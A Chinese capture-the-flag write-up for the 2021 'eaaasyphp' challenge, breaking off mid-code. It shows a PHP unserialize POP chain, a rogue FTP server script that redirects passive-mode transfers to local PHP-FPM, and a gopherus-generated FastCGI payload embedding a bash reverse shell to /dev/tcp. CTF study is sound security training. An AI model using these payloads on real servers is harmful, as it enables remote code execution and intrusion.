文章目录
原理–FTP打php-fpm,fastcgi
漏洞代码
<?php
$contents = file_get_contents($_GET['viewFile']);
file_put_contents($_GET['viewFile'], $contents);
这里读取路径viewFile,之后写回文件中。这看似什么都没有做。
这份代码可以用来攻击PHP-FPM
如果一个客户端试图从FTP服务器上读取文件,服务器会通知客户端将文件的内容读取(或写)到一个特定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口。
现在如果我们使用viewFile=ftp://evil-server/file.txt那么会发生:
首先通过 file_get_contents() 函数连接到我们的FTP服务器,并下载file.txt。
然后再通过 file_put_contents() 函数连接到我们的FTP服务器,并将其上传回file.txt。
那此时,在它尝试使用file_put_contents()上传回去时,我们告诉它把文件发送到127.0.0.1:9001(fpm的端口,默认是9000)
那么,我们就在这中间造成了一次SSRF,攻击php-fpm
[陇原战疫2021网络安全大赛]eaaasyphp
考点
-
反序列化–pop链的构成
-
FTP的被动模式打FPM
思路总结
先看到pop链找信息,利用phpinfo,发现了fastcgi,然后利用FTP的被动模式打fpm
通过pop链向服务器写入文件,文件名为FTP服务器位置,而FTP服务器会将文件内容传到一个指定的IP地址,这个ip地址就是fastcgi的位置,加上文件内容的代码执行,从而实现了一个SSRF,反射shell。
解题
直接先看首页代码
<?php
class Check {
public static $str1 = false;
public static $str2 = false;
}
class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}
class Hint {
public function __wakeup(){
$this->hint = "no hint";
}
public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}
class Bunny {
public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}
class Welcome {
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}
class Bypass {
public function __destruct()
{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
}
}
}
if (isset($_GET['code'])) {
unserialize($_GET['code']);
} else {
highlight_file(__FILE__);
}
这就是个常规的pop
链的构成。
几个魔法函数:
__wakeup():当调用unserialize时触发
__toString():当类被当作字符串时调用
__invoke():当把类当作函数处理时调用
先看phpinfo():
方法1:
<?php
class Hint {
public function __wakeup(){
$this->hint = "no hint";
}
public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}
$a=new Hint();
echo serialize($a);
但是需要绕过__wakeup
PHP7 < 7.0.10:反序列化时变量个数大于实际是会绕过
这种不行,但是我们可以利用负数就可以绕过
?code=O:4:"Hint":-1:{}
方法2
$a=new Bypass();
$a->aaa=new Esle();
$a->str4='phpinfo';
echo serialize($a);
得到:
?code=O:6:"Bypass":2:{s:3:"aaa";O:4:"Esle":0:{}s:4:"str4";s:7:"phpinfo";}
看到phpinfo有FastCGI
和这儿
file_put_contents($this->filename, $this->data);//代表着上传文件
想到了利用FTP(文件传输协议)的被动模式打FastCGI。
我们先尝试写入shell
$check = new Check();
$esle = new Esle();
$a = new Bypass();
$b = new Welcome();
$c = new Bunny();
$c->filename = "shell.txt";
$c->data = "123456";
$b->username = $c;
$b->bbb = $check;
$a->aaa = $esle;
$a->str4 = $b;
echo serialize($a);
但是无回显,不行。
FTP的被动模式打FastCGI
FTP 协议的被动模式:客户端试图从FTP服务器上读取/写入一个文件,服务器会通知客户端将文件的内容读取到一个指定的IP和端口上,我们可以指定到127.0.0.1:9000,这样就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包,从而执行代码,造成SSRF
搭建恶意ftp服务器
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',123)) #端口可改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
然后通过Nxshell
在服务器上启动python3 ftp.py
(切记需要先cd到当前目录)
利用gopherus生成发向FPM的数据包
python gopherus.py --exploit fastcgi
/var/www/html/index.php
bash -c "bash -i >& /dev/tcp/ip/39543 0>&1"
只要 _ 后面的内容
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%06%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH108%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%18SCRIPT_FILENAME%20/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00l%04%00%3C%3Fphp%20system%28%27%20bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/ip/10000%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
写pop链
<?php
class Check {
public static $str1 = false;
public static $str2 =